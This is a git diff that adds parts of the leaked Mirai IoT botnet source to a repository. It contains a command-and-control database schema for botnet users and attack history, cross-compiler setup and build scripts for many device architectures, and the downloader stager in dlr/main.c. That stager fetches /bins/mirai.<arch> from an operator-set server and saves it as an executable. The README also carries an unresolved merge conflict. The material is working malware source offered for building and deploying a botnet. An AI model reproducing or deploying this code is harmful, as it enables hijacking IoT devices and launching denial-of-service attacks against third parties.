diff --git a/Configuring_CNC_Database.txt b/Configuring_CNC_Database.txt new file mode 100644 index 0000000..3aedc33 --- /dev/null +++ b/Configuring_CNC_Database.txt @@ -0,0 +1,36 @@ +CREATE DATABASE mirai; + +CREATE TABLE `history` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `user_id` int(10) unsigned NOT NULL, + `time_sent` int(10) unsigned NOT NULL, + `duration` int(10) unsigned NOT NULL, + `command` text NOT NULL, + `max_bots` int(11) DEFAULT '-1', + PRIMARY KEY (`id`), + KEY `user_id` (`user_id`) +); + +CREATE TABLE `users` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `username` varchar(32) NOT NULL, + `password` varchar(32) NOT NULL, + `duration_limit` int(10) unsigned DEFAULT NULL, + `cooldown` int(10) unsigned NOT NULL, + `wrc` int(10) unsigned DEFAULT NULL, + `last_paid` int(10) unsigned NOT NULL, + `max_bots` int(11) DEFAULT '-1', + `admin` int(10) unsigned DEFAULT '0', + `intvl` int(10) unsigned DEFAULT '30', + `api_key` text, + PRIMARY KEY (`id`), + KEY `username` (`username`) +); + +CREATE TABLE `whitelist` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `prefix` varchar(16) DEFAULT NULL, + `netmask` tinyint(3) unsigned DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `prefix` (`prefix`) +); \ No newline at end of file diff --git a/README.md b/README.md old mode 100755 new mode 100644 index 036a22f..cb25ccc --- a/README.md +++ b/README.md @@ -2,5 +2,27 @@ This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). +<<<<<<< HEAD forked by chuck +======= +--- + +I found + +mirai.src.zip from [VT](https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/) + +loader.src.zip from [VT](https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/) + +dlr.src.zip from [VT](https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/) + +Maybe they are original files. + + + +Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g) + +Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) + +Felicitychou +>>>>>>> 3f80dfb16e01869072b3d295a9f3c8cefb0ce1d8 diff --git a/Setting_Up_Cross_Compilers.sh b/Setting_Up_Cross_Compilers.sh new file mode 100644 index 0000000..5ee2e6b --- /dev/null +++ b/Setting_Up_Cross_Compilers.sh @@ -0,0 +1,62 @@ +# RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc + +# You're gay if you don't use Debian +apt-get install gcc golang electric-fence + +mkdir /etc/xcompile +cd /etc/xcompile + +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 + +tar -jxf cross-compiler-armv4l.tar.bz2 +tar -jxf cross-compiler-i586.tar.bz2 +tar -jxf cross-compiler-m68k.tar.bz2 +tar -jxf cross-compiler-mips.tar.bz2 +tar -jxf cross-compiler-mipsel.tar.bz2 +tar -jxf cross-compiler-powerpc.tar.bz2 +tar -jxf cross-compiler-sh4.tar.bz2 +tar -jxf cross-compiler-sparc.tar.bz2 + +rm *.tar.bz2 +mv cross-compiler-armv4l armv4l +mv cross-compiler-i586 i586 +mv cross-compiler-m68k m68k +mv cross-compiler-mips mips +mv cross-compiler-mipsel mipsel +mv cross-compiler-powerpc powerpc +mv cross-compiler-sh4 sh4 +mv cross-compiler-sparc sparc + +-- END -- + + + + + + +# PUT THESE COMMANDS IN THE FILE ~/.bashrc + +# Cross compiler toolchains +export PATH=$PATH:/etc/xcompile/armv4l/bin +export PATH=$PATH:/etc/xcompile/armv6l/bin +export PATH=$PATH:/etc/xcompile/i586/bin +export PATH=$PATH:/etc/xcompile/m68k/bin +export PATH=$PATH:/etc/xcompile/mips/bin +export PATH=$PATH:/etc/xcompile/mipsel/bin +export PATH=$PATH:/etc/xcompile/powerpc/bin +export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin +export PATH=$PATH:/etc/xcompile/sh4/bin +export PATH=$PATH:/etc/xcompile/sparc/bin + +# Golang +export PATH=$PATH:/usr/local/go/bin +export GOPATH=$HOME/Documents/go + +-- END -- \ No newline at end of file diff --git a/Vagrantfile b/Vagrantfile new file mode 100644 index 0000000..ea34184 --- /dev/null +++ b/Vagrantfile @@ -0,0 +1,71 @@ +# -*- mode: ruby -*- +# vi: set ft=ruby : + +# All Vagrant configuration is done below. The "2" in Vagrant.configure +# configures the configuration version (we support older styles for +# backwards compatibility). Please don't change it unless you know what +# you're doing. +Vagrant.configure("2") do |config| + # The most common configuration options are documented and commented below. + # For a complete reference, please see the online documentation at + # https://docs.vagrantup.com. + + # Every Vagrant development environment requires a box. You can search for + # boxes at https://atlas.hashicorp.com/search. + config.vm.box = "base" + + # Disable automatic box update checking. If you disable this, then + # boxes will only be checked for updates when the user runs + # `vagrant box outdated`. This is not recommended. + # config.vm.box_check_update = false + + # Create a forwarded port mapping which allows access to a specific port + # within the machine from a port on the host machine. In the example below, + # accessing "localhost:8080" will access port 80 on the guest machine. + # config.vm.network "forwarded_port", guest: 80, host: 8080 + + # Create a private network, which allows host-only access to the machine + # using a specific IP. + # config.vm.network "private_network", ip: "192.168.33.10" + + # Create a public network, which generally matched to bridged network. + # Bridged networks make the machine appear as another physical device on + # your network. + # config.vm.network "public_network" + + # Share an additional folder to the guest VM. The first argument is + # the path on the host to the actual folder. The second argument is + # the path on the guest to mount the folder. And the optional third + # argument is a set of non-required options. + # config.vm.synced_folder "../data", "/vagrant_data" + + # Provider-specific configuration so you can fine-tune various + # backing providers for Vagrant. These expose provider-specific options. + # Example for VirtualBox: + # + # config.vm.provider "virtualbox" do |vb| + # # Display the VirtualBox GUI when booting the machine + # vb.gui = true + # + # # Customize the amount of memory on the VM: + # vb.memory = "1024" + # end + # + # View the documentation for the provider you are using for more + # information on available options. + + # Define a Vagrant Push strategy for pushing to Atlas. Other push strategies + # such as FTP and Heroku are also available. See the documentation at + # https://docs.vagrantup.com/v2/push/atlas.html for more information. + # config.push.define "atlas" do |push| + # push.app = "YOUR_ATLAS_USERNAME/YOUR_APPLICATION_NAME" + # end + + # Enable provisioning with a shell script. Additional provisioners such as + # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the + # documentation for more information about their specific syntax and use. + # config.vm.provision "shell", inline: <<-SHELL + # apt-get update + # apt-get install -y apache2 + # SHELL +end diff --git a/dlr.src.zip b/dlr.src.zip new file mode 100644 index 0000000..38586f8 Binary files /dev/null and b/dlr.src.zip differ diff --git a/dlr/build.sh b/dlr/build.sh new file mode 100644 index 0000000..9227844 --- /dev/null +++ b/dlr/build.sh @@ -0,0 +1,22 @@ +armv4l-gcc -Os -D BOT_ARCH=\"arm\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm +armv6l-gcc -Os -D BOT_ARCH=\"arm7\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm7 +i686-gcc -Os -D BOT_ARCH=\"x86\" -D X32 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.x86 +m68k-gcc -Os -D BOT_ARCH=\"m68k\" -D M68K -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.m68k +mips-gcc -Os -D BOT_ARCH=\"mips\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mips +#mips64-gcc -Os -D BOT_ARCH=\"mps64\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mps64 +mipsel-gcc -Os -D BOT_ARCH=\"mpsl\" -D MIPSEL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mpsl +powerpc-gcc -Os -D BOT_ARCH=\"ppc\" -D PPC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.ppc +sh4-gcc -Os -D BOT_ARCH=\"sh4\" -D SH4 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh4 +#sh2elf-gcc -Os -D BOT_ARCH=\"sh2el\" -D SH2EL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2el +#sh2eb-gcc -Os -D BOT_ARCH=\"sh2eb\" -D SH2EB -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2eb +sparc-gcc -Os -D BOT_ARCH=\"spc\" -D SPARC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.spc + +armv4l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm +armv6l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm7 +i686-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.x86 +m68k-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.m68k +mips-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mips +mipsel-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mpsl +powerpc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.ppc +sh4-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.sh4 +sparc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.spc \ No newline at end of file diff --git a/dlr/main.c b/dlr/main.c new file mode 100644 index 0000000..569d837 --- /dev/null +++ b/dlr/main.c @@ -0,0 +1,274 @@ +#include +//#include +#include +#include +#include +#include + +#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP + +#define EXEC_MSG "MIRAI\n" +#define EXEC_MSG_LEN 6 + +#define DOWNLOAD_MSG "FIN\n" +#define DOWNLOAD_MSG_LEN 4 + +#define STDIN 0 +#define STDOUT 1 +#define STDERR 2 + +#if BYTE_ORDER == BIG_ENDIAN +#define HTONS(n) (n) +#define HTONL(n) (n) +#elif BYTE_ORDER == LITTLE_ENDIAN +#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) +#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ + ((((unsigned long)(n) & 0xff00)) << 8) | \ + ((((unsigned long)(n) & 0xff0000)) >> 8) | \ + ((((unsigned long)(n) & 0xff000000)) >> 24)) +#else +#error "Fix byteorder" +#endif + +#ifdef __ARM_EABI__ +#define SCN(n) ((n) & 0xfffff) +#else +#define SCN(n) (n) +#endif + +inline void run(void); +int sstrlen(char *); +unsigned int utils_inet_addr(unsigned char, unsigned char, unsigned char, unsigned char); + +/* stdlib calls */ +int xsocket(int, int, int); +int xwrite(int, void *, int); +int xread(int, void *, int); +int xconnect(int, struct sockaddr_in *, int); +int xopen(char *, int, int); +int xclose(int); +void x__exit(int); + +#define socket xsocket +#define write xwrite +#define read xread +#define connect xconnect +#define open xopen +#define close xclose +#define __exit x__exit + +#ifdef DEBUG +/* +void xprintf(char *str) +{ + write(1, str, sstrlen(str)); +} +#define printf xprintf +*/ +#endif + +void __start(void) +{ +#if defined(MIPS) || defined(MIPSEL) + __asm( + ".set noreorder\n" + "move $0, $31\n" + "bal 10f\n" + "nop\n" + "10:\n.cpload $31\n" + "move $31, $0\n" + ".set reorder\n" + ); +#endif + run(); +} + +inline void run(void) +{ + char recvbuf[128]; + struct sockaddr_in addr; + int sfd, ffd, ret; + unsigned int header_parser = 0; + int arch_strlen = sstrlen(BOT_ARCH); + + write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); + + addr.sin_family = AF_INET; + addr.sin_port = HTONS(80); + addr.sin_addr.s_addr = HTTP_SERVER; + + ffd = open("dvrHelper", O_WRONLY | O_CREAT | O_TRUNC, 0777); + + sfd = socket(AF_INET, SOCK_STREAM, 0); + +#ifdef DEBUG + if (ffd == -1) + printf("Failed to open file!\n"); + if (sfd == -1) + printf("Failed to call socket()\n"); +#endif + + if (sfd == -1 || ffd == -1) + __exit(1); + +#ifdef DEBUG + printf("Connecting to host...\n"); +#endif + + if ((ret = connect(sfd, &addr, sizeof (struct sockaddr_in))) < 0) + { +#ifdef DEBUG + printf("Failed to connect to host.\n"); +#endif + write(STDOUT, "NIF\n", 4); + __exit(-ret); + } + +#ifdef DEBUG + printf("Connected to host\n"); +#endif + + if (write(sfd, "GET /bins/mirai." BOT_ARCH " HTTP/1.0\r\n\r\n", 16 + arch_strlen + 13) != (16 + arch_strlen + 13)) + { +#ifdef DEBUG + printf("Failed to send get request.\n"); +#endif + + __exit(3); + } + +#ifdef DEBUG + printf("Started header parse...\n"); +#endif + + while (header_parser != 0x0d0a0d0a) + { + char ch; + int ret = read(sfd, &ch, 1); + + if (ret != 1) + __exit(4); + header_parser = (header_parser << 8) | ch; + } + +#ifdef DEBUG + printf("Finished receiving HTTP header\n"); +#endif + + while (1) + { + int ret = read(sfd, recvbuf, sizeof (recvbuf)); + + if (ret <= 0) + break; + write(ffd, recvbuf, ret); + } + + close(sfd); + close(ffd); + write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); + __exit(5); +} + +int sstrlen(char *str) +{ + int c = 0; + + while (*str++ != 0) + c++; + return c; +} + +unsigned int utils_inet_addr(unsigned char one, unsigned char two, unsigned char three, unsigned char four) +{ + unsigned long ip = 0; + + ip |= (one << 24); + ip |= (two << 16); + ip |= (three << 8); + ip |= (four << 0); + return HTONL(ip); +} + +int xsocket(int domain, int type, int protocol) +{ +#if defined(__NR_socketcall) +#ifdef DEBUG + printf("socket using socketcall\n"); +#endif + struct { + int domain, type, protocol; + } socketcall; + socketcall.domain = domain; + socketcall.type = type; + socketcall.protocol = protocol; + + // 1 == SYS_SOCKET + int ret = syscall(SCN(SYS_socketcall), 1, &socketcall); + +#ifdef DEBUG + printf("socket got ret: %d\n", ret); +#endif + return ret; +#else +#ifdef DEBUG + printf("socket using socket\n"); +#endif + return syscall(SCN(SYS_socket), domain, type, protocol); +#endif +} + +int xread(int fd, void *buf, int len) +{ + return syscall(SCN(SYS_read), fd, buf, len); +} + +int xwrite(int fd, void *buf, int len) +{ + return syscall(SCN(SYS_write), fd, buf, len); +} + +int xconnect(int fd, struct sockaddr_in *addr, int len) +{ +#if defined(__NR_socketcall) +#ifdef DEBUG + printf("connect using socketcall\n"); +#endif + struct { + int fd; + struct sockaddr_in *addr; + int len; + } socketcall; + socketcall.fd = fd; + socketcall.addr = addr; + socketcall.len = len; + // 3 == SYS_CONNECT + int ret = syscall(SCN(SYS_socketcall), 3, &socketcall); + +#ifdef DEBUG + printf("connect got ret: %d\n", ret); +#endif + + return ret; +#else +#ifdef DEBUG + printf("connect using connect\n"); +#endif + return syscall(SCN(SYS_connect), fd, addr, len); +#endif +} + +int xopen(char *path, int flags, int other) +{ + return syscall(SCN(SYS_open), path, flags, other); +} + +int xclose(int fd) +{ + return syscall(SCN(SYS_close), fd); +} + +void x__exit(int code) +{ + syscall(SCN(SYS_exit), code); +} diff --git a/dlr/release/.build b/dlr/release/.build new file mode 100644 index 0000000..bf8bf40 --- /dev/null +++ b/dlr/release/.build @@ -0,0 +1,10 @@ + wtf why would you hit krebs + Hm, why do you care? Just move C2 or something? + no fuck, this is the shit you avoid. fuck off + im kicking you off + Are you fucking me? you better be joking + DO YOU HVE ANY IDEE + * IDEA + WHAT YOUVE DONE + look man i was just messing around its nbd + YOU F UCKING IDIOT \ No newline at end of file diff --git a/dlr/release/dlr.arm b/dlr/release/dlr.arm new file mode 100644 index 0000000..782bf1d Binary files /dev/null and b/dlr/release/dlr.arm differ diff --git a/dlr/release/dlr.arm7 b/dlr/release/dlr.arm7 new file mode 100644 index 0000000..493904b Binary files /dev/null and b/dlr/release/dlr.arm7 differ diff --git a/dlr/release/dlr.m68k b/dlr/release/dlr.m68k new file mode 100644 index 0000000..2c9dd71 Binary files /dev/null and b/dlr/release/dlr.m68k differ diff --git a/dlr/release/dlr.mips b/dlr/release/dlr.mips new file mode 100644 index 0000000..3dbcf41 Binary files /dev/null and b/dlr/release/dlr.mips differ diff --git a/dlr/release/dlr.mpsl b/dlr/release/dlr.mpsl new file mode 100644 index 0000000..7603617 Binary files /dev/null and b/dlr/release/dlr.mpsl differ diff --git a/dlr/release/dlr.ppc b/dlr/release/dlr.ppc new file mode 100644 index 0000000..37cef13 Binary files /dev/null and b/dlr/release/dlr.ppc differ diff --git a/dlr/release/dlr.sh4 b/dlr/release/dlr.sh4 new file mode 100644 index 0000000..684587d Binary files /dev/null and b/dlr/release/dlr.sh4 differ diff --git a/dlr/release/dlr.spc b/dlr/release/dlr.spc new file mode 100644 index 0000000..b6d804c Binary files /dev/null and b/dlr/release/dlr.spc differ diff --git a/loader.src.zip b/loader.src.zip new file mode 100644 index 0000000..0f17912 Binary files /dev/null and b/loader.src.zip differ diff --git a/mirai.src.zip b/mirai.src.zip new file mode 100644 index 0000000..2f7ea3f Binary files /dev/null and b/mirai.src.zip differ